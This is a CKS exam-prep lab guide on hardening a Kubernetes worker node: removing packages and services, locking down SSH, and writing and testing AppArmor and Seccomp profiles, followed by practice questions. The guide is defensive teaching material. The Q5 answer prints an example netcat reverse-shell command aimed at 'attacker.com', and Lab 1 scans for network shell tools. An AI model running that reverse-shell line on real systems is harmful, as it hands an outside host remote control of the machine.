CKS — System Hardening Lab

10 minute read

System Hardening Lab

This lab brings together everything from the System Hardening chapter — OS hardening, SSH lockdown, AppArmor profiles, and Seccomp filters. Each exercise mirrors a realistic CKS exam task.

Prerequisites

  • A Kubernetes cluster with at least one worker node (kubeadm, minikube with --driver=none, or a cloud cluster with SSH access)
  • SSH access to the worker node
  • kubectl configured and working
  • Worker node running Ubuntu (for AppArmor support)

Lab 1: Audit Host OS for Unnecessary Services and Packages

Task

Identify and remove unnecessary services and packages on a Kubernetes worker node.

Steps

# SSH to the worker node
ssh admin@node01

# 1. List all active services
systemctl list-units --type=service --state=running

# 2. Identify services that are NOT needed for Kubernetes
# Kubernetes needs: kubelet, containerd (or docker), kube-proxy
# Everything else should be evaluated

# 3. Check for dangerous packages
for pkg in wget curl netcat-openbsd ncat telnet tcpdump gcc make; do
  dpkg -l "$pkg" 2>/dev/null | grep -q "^ii" && echo "FOUND: $pkg"
done

Expected Output

FOUND: wget
FOUND: curl
FOUND: telnet

Fix

# Remove unnecessary packages
sudo apt purge -y telnet

# Disable unnecessary services
sudo systemctl stop bluetooth.service 2>/dev/null
sudo systemctl disable bluetooth.service 2>/dev/null
sudo systemctl mask bluetooth.service 2>/dev/null

sudo systemctl stop cups.service 2>/dev/null
sudo systemctl disable cups.service 2>/dev/null
sudo systemctl mask cups.service 2>/dev/null

# Verify
systemctl is-enabled bluetooth.service 2>/dev/null || echo "Not installed"
systemctl is-enabled cups.service 2>/dev/null || echo "Not installed"

# Check listening ports — only expected ports should remain
ss -tlnp

Expected Final State

State   Local Address:Port    Process
LISTEN  0.0.0.0:6443          kube-apiserver
LISTEN  0.0.0.0:10250         kubelet
LISTEN  0.0.0.0:10256         kube-proxy
LISTEN  0.0.0.0:22            sshd
LISTEN  0.0.0.0:2379          etcd

No bluetooth, cups, avahi-daemon, or unexpected ports.

Lab 2: Harden SSH Configuration

Task

Lock down SSH on the worker node: disable root login, enforce key-only auth, set idle timeout.

Steps

# SSH to the worker node
ssh admin@node01

# 1. Check current SSH configuration
sudo sshd -T | grep -E "permitrootlogin|passwordauthentication|permitemptypasswords|maxauthtries|clientaliveinterval"

Expected Output (Before)

permitrootlogin yes
passwordauthentication yes
permitemptypasswords no
maxauthtries 6
clientaliveinterval 0

Fix

# 2. Backup the original config
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

# 3. Apply hardening
sudo tee -a /etc/ssh/sshd_config.d/hardening.conf <<'EOF'
PermitRootLogin no
PasswordAuthentication no
ChallengeResponseAuthentication no
PermitEmptyPasswords no
MaxAuthTries 3
ClientAliveInterval 300
ClientAliveCountMax 2
EOF

# 4. Validate the config (check for syntax errors)
sudo sshd -t
echo "Exit code: $?"
# Should be 0

# 5. Restart SSH
sudo systemctl restart sshd

# 6. Verify
sudo sshd -T | grep -E "permitrootlogin|passwordauthentication|maxauthtries|clientaliveinterval"

Expected Output (After)

permitrootlogin no
passwordauthentication no
maxauthtries 3
clientaliveinterval 300

Warning: Ensure you have key-based access configured before disabling password authentication, or you will lock yourself out.

Lab 3: Create and Load a Custom AppArmor Profile

Task

Create an AppArmor profile that denies all file writes and load it on the worker node.

Steps

# SSH to the worker node
ssh admin@node01

# 1. Check if AppArmor is enabled
sudo aa-status | head -5
# apparmor module is loaded.
# XX profiles are loaded.

# 2. Create the profile
cat <<'EOF' | sudo tee /etc/apparmor.d/k8s-deny-write
#include <tunables/global>

profile k8s-deny-write flags=(attach_disconnected) {
  #include <abstractions/base>

  # Allow all file reads
  file,

  # Deny all writes
  deny /** w,

  # Allow writing to /dev/null (needed for containers)
  /dev/null rw,
}
EOF

# 3. Load the profile
sudo apparmor_parser -r /etc/apparmor.d/k8s-deny-write

# 4. Verify
sudo aa-status | grep k8s-deny-write

Expected Output

   k8s-deny-write (enforce)

Verify Profile Mode

sudo aa-status --json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for mode, profiles in data.get('profiles', {}).items():
    if 'k8s-deny-write' in str(profiles):
        print(f'k8s-deny-write is in {mode} mode')
" 2>/dev/null || sudo aa-status | grep k8s-deny-write

Lab 4: Deploy a Pod with AppArmor Profile and Test Enforcement

Task

Deploy a Pod that uses the k8s-deny-write AppArmor profile and verify that file writes are blocked.

Steps

# 1. Create the Pod manifest
cat <<'EOF' > apparmor-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: apparmor-test
  annotations:
    container.apparmor.security.beta.kubernetes.io/secure: localhost/k8s-deny-write
spec:
  nodeName: node01    # Schedule on the node where the profile is loaded
  containers:
  - name: secure
    image: nginx:1.27
EOF

# 2. Apply
kubectl apply -f apparmor-pod.yaml

# 3. Wait for it to run
kubectl wait --for=condition=Ready pod/apparmor-test --timeout=60s

# 4. Check AppArmor is applied
kubectl exec apparmor-test -- cat /proc/1/attr/current

Expected Output

k8s-deny-write (enforce)

Test Enforcement

# 5. Try to write a file — should fail
kubectl exec apparmor-test -- touch /tmp/testfile
# touch: cannot touch '/tmp/testfile': Permission denied

# 6. Try to create a directory — should fail
kubectl exec apparmor-test -- mkdir /tmp/testdir
# mkdir: cannot create directory '/tmp/testdir': Permission denied

# 7. Read should still work
kubectl exec apparmor-test -- cat /etc/hostname
# apparmor-test

# 8. Reading /etc/os-release should work
kubectl exec apparmor-test -- cat /etc/os-release | head -2
# PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
# NAME="Debian GNU/Linux"

Verify via Events

kubectl describe pod apparmor-test | grep -A 5 "Annotations"
# Annotations: container.apparmor.security.beta.kubernetes.io/secure: localhost/k8s-deny-write

Lab 5: Create a Custom Seccomp Profile

Task

Create a Seccomp profile that blocks mount, ptrace, and reboot syscalls.

Steps

# SSH to the worker node
ssh admin@node01

# 1. Create the Seccomp profiles directory
sudo mkdir -p /var/lib/kubelet/seccomp/profiles

# 2. Create the profile
cat <<'EOF' | sudo tee /var/lib/kubelet/seccomp/profiles/block-dangerous.json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": [
        "mount",
        "umount",
        "umount2",
        "ptrace",
        "reboot",
        "kexec_load",
        "kexec_file_load"
      ],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
EOF

# 3. Verify the file is valid JSON
python3 -m json.tool /var/lib/kubelet/seccomp/profiles/block-dangerous.json > /dev/null
echo "Valid JSON: $?"

# 4. Check file location
ls -la /var/lib/kubelet/seccomp/profiles/block-dangerous.json

Expected Output

Valid JSON: 0
-rw-r--r-- 1 root root 287 ... /var/lib/kubelet/seccomp/profiles/block-dangerous.json

Lab 6: Deploy a Pod with Seccomp Profile and Verify

Task

Deploy a Pod using the custom Seccomp profile from Lab 5 and verify that blocked syscalls fail.

Steps

# 1. Create the Pod manifest
cat <<'EOF' > seccomp-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: seccomp-test
spec:
  nodeName: node01
  containers:
  - name: test
    image: nginx:1.27
    securityContext:
      seccompProfile:
        type: Localhost
        localhostProfile: profiles/block-dangerous.json
EOF

# 2. Apply
kubectl apply -f seccomp-pod.yaml

# 3. Wait for it to run
kubectl wait --for=condition=Ready pod/seccomp-test --timeout=60s

# 4. Verify Seccomp is active
kubectl exec seccomp-test -- cat /proc/1/status | grep -i seccomp

Expected Output

Seccomp:	2
Seccomp_filters:	1

(2 = filter mode, 1 filter loaded)

Test Enforcement

# 5. Try to mount (should fail)
kubectl exec seccomp-test -- mount -t tmpfs tmpfs /mnt
# mount: /mnt: permission denied.

# 6. Normal operations should work
kubectl exec seccomp-test -- ls /
# bin  boot  dev  etc  home  lib  ...

kubectl exec seccomp-test -- cat /etc/hostname
# seccomp-test

# 7. Network should work (not blocked)
kubectl exec seccomp-test -- curl -s -o /dev/null -w "%{http_code}" http://localhost:80
# 200

Test with RuntimeDefault

# 8. Create a Pod with RuntimeDefault for comparison
cat <<'EOF' > seccomp-default-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: seccomp-default
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: test
    image: nginx:1.27
EOF

kubectl apply -f seccomp-default-pod.yaml
kubectl wait --for=condition=Ready pod/seccomp-default --timeout=60s

# Verify
kubectl exec seccomp-default -- cat /proc/1/status | grep Seccomp
# Seccomp:	2
# Seccomp_filters:	1

Lab 7: Test AppArmor and Seccomp Together

Task

Deploy a Pod with both an AppArmor profile (deny writes) and a Seccomp profile (block dangerous syscalls). Verify both are enforced simultaneously.

Steps

# 1. Ensure both profiles exist on the node
# (Already created in Labs 3 and 5)

# Verify AppArmor profile
ssh admin@node01 "sudo aa-status | grep k8s-deny-write"
# k8s-deny-write (enforce)

# Verify Seccomp profile
ssh admin@node01 "ls /var/lib/kubelet/seccomp/profiles/block-dangerous.json"
# /var/lib/kubelet/seccomp/profiles/block-dangerous.json

# 2. Create a Pod with both profiles
cat <<'EOF' > combined-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: combined-security
  annotations:
    container.apparmor.security.beta.kubernetes.io/hardened: localhost/k8s-deny-write
spec:
  nodeName: node01
  containers:
  - name: hardened
    image: nginx:1.27
    securityContext:
      seccompProfile:
        type: Localhost
        localhostProfile: profiles/block-dangerous.json
EOF

# 3. Apply
kubectl apply -f combined-pod.yaml

# 4. Wait for it to run
kubectl wait --for=condition=Ready pod/combined-security --timeout=60s

Verify Both Profiles

# 5. Check AppArmor
kubectl exec combined-security -- cat /proc/1/attr/current
# k8s-deny-write (enforce)

# 6. Check Seccomp
kubectl exec combined-security -- cat /proc/1/status | grep Seccomp
# Seccomp:	2
# Seccomp_filters:	1

Test Combined Enforcement

# 7. Test AppArmor — file write denied
kubectl exec combined-security -- touch /tmp/test
# touch: cannot touch '/tmp/test': Permission denied

# 8. Test Seccomp — mount denied
kubectl exec combined-security -- mount -t tmpfs tmpfs /mnt
# mount: /mnt: permission denied.

# 9. Test that reads still work (both profiles allow reads)
kubectl exec combined-security -- cat /etc/hostname
# combined-security

kubectl exec combined-security -- ls /usr/share/nginx/html/
# 50x.html
# index.html

# 10. Verify nginx is serving traffic
kubectl exec combined-security -- curl -s localhost:80 | head -3
# <!DOCTYPE html>
# <html>
# <head>

Summary of What’s Blocked

combined-security Pod:
  ├── AppArmor (k8s-deny-write):
  │   ├── File writes → DENIED
  │   ├── File reads  → ALLOWED
  │   └── Network     → ALLOWED
  │
  └── Seccomp (block-dangerous.json):
      ├── mount/umount  → DENIED
      ├── ptrace        → DENIED
      ├── reboot        → DENIED
      ├── read/write    → ALLOWED
      └── network       → ALLOWED

Cleanup

# Delete all lab Pods
kubectl delete pod apparmor-test seccomp-test seccomp-default combined-security --ignore-not-found

# Delete YAML files
rm -f apparmor-pod.yaml seccomp-pod.yaml seccomp-default-pod.yaml combined-pod.yaml

# (Optional) Remove profiles from the node
ssh admin@node01 << 'REMOTE'
sudo apparmor_parser -R /etc/apparmor.d/k8s-deny-write 2>/dev/null
sudo rm -f /etc/apparmor.d/k8s-deny-write
sudo rm -f /var/lib/kubelet/seccomp/profiles/block-dangerous.json
REMOTE

# Verify cleanup
kubectl get pods | grep -E "apparmor|seccomp|combined"
# No resources found

Practice Questions

Q1: You need to check if a worker node has AppArmor enabled and list all profiles in enforce mode. What commands do you use? 
# Check if AppArmor module is loaded
sudo aa-status | head -3
# apparmor module is loaded.
# 47 profiles are loaded.
# 30 profiles are in enforce mode.

# List only enforced profiles
sudo aa-status --enforced

# Alternative: check the kernel module
cat /sys/module/apparmor/parameters/enabled
# Y

# Check via security filesystem
ls /sys/kernel/security/apparmor/
# profiles  features  ...

If aa-status is not available:

sudo apt install apparmor-utils
Q2: A Seccomp profile at /var/lib/kubelet/seccomp/profiles/audit.json should log all syscalls without blocking any. Write the profile content. 
{
  "defaultAction": "SCMP_ACT_LOG",
  "architectures": [
    "SCMP_ARCH_X86_64",
    "SCMP_ARCH_AARCH64"
  ],
  "syscalls": []
}

SCMP_ACT_LOG allows every syscall but logs each one to the kernel audit log (/var/log/audit/audit.log or dmesg).

Use this for profiling — run your application, collect the log, then build an allow-list profile from the syscalls that were actually used.

Apply to a Pod:

securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/audit.json

View the logs:

sudo dmesg | grep seccomp
sudo grep seccomp /var/log/audit/audit.log
Q3: A Pod named web-app should use both AppArmor profile k8s-nginx and Seccomp RuntimeDefault. Write the complete Pod manifest. 
apiVersion: v1
kind: Pod
metadata:
  name: web-app
  annotations:
    container.apparmor.security.beta.kubernetes.io/nginx: localhost/k8s-nginx
spec:
  containers:
  - name: nginx
    image: nginx:1.27
    ports:
    - containerPort: 80
    securityContext:
      seccompProfile:
        type: RuntimeDefault

Verification:

# Check AppArmor
kubectl exec web-app -- cat /proc/1/attr/current
# k8s-nginx (enforce)

# Check Seccomp
kubectl exec web-app -- cat /proc/1/status | grep Seccomp
# Seccomp:	2
Q4: After hardening SSH on a node, you can no longer connect. What is the most likely cause and how do you recover?

Most likely cause: Password authentication was disabled (PasswordAuthentication no) before SSH keys were properly configured.

Recovery options:

  1. Cloud console / serial port — Most cloud providers offer a web-based console or serial port connection that doesn’t require SSH:
# AWS
aws ec2-instance-connect send-ssh-public-key ...

# GCP
gcloud compute ssh node01 --tunnel-through-iap

# The serial console bypasses SSH entirely
  1. Mount the disk — Attach the node’s disk to another instance, mount it, and fix sshd_config:
# On the rescue instance
sudo mount /dev/xvdf1 /mnt
sudo vi /mnt/etc/ssh/sshd_config
# Set: PasswordAuthentication yes
sudo umount /mnt
# Reattach disk to original instance and reboot
  1. User data / cloud-init — Some providers let you modify user data to run a script on next boot:
#!/bin/bash
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
systemctl restart sshd

Prevention: Always test SSH key access in a separate session before disabling password auth.

Q5: On the CKS exam, you find a node with curl, wget, and netcat installed. The node also has a service called atd running. What actions do you take? 
# Step 1: Remove unnecessary packages
sudo apt purge -y curl wget netcat-openbsd
sudo apt autoremove -y

# Verify removal
which curl wget nc
# (no output)

# Step 2: Stop and disable atd (at daemon — task scheduler)
sudo systemctl stop atd.service
sudo systemctl disable atd.service
sudo systemctl mask atd.service

# Verify
systemctl is-enabled atd.service
# masked

# Step 3: Verify no unexpected ports are open
ss -tlnp

# Step 4: Verify only required packages remain
dpkg -l | grep -E "curl|wget|netcat"
# (no output)

Why remove curl and wget? If an attacker gains code execution, these tools let them download malware, exfiltrate data, or establish reverse shells.

Why remove netcat? It’s the most common reverse-shell tool:

# An attacker could run:
nc -e /bin/sh attacker.com 4444

Why disable atd? The at daemon schedules one-time tasks. An attacker could schedule a persistent backdoor that runs after system reboot.

Previous Up Next
Seccomp System Hardening Monitoring & Logging

Updated:

You may also enjoy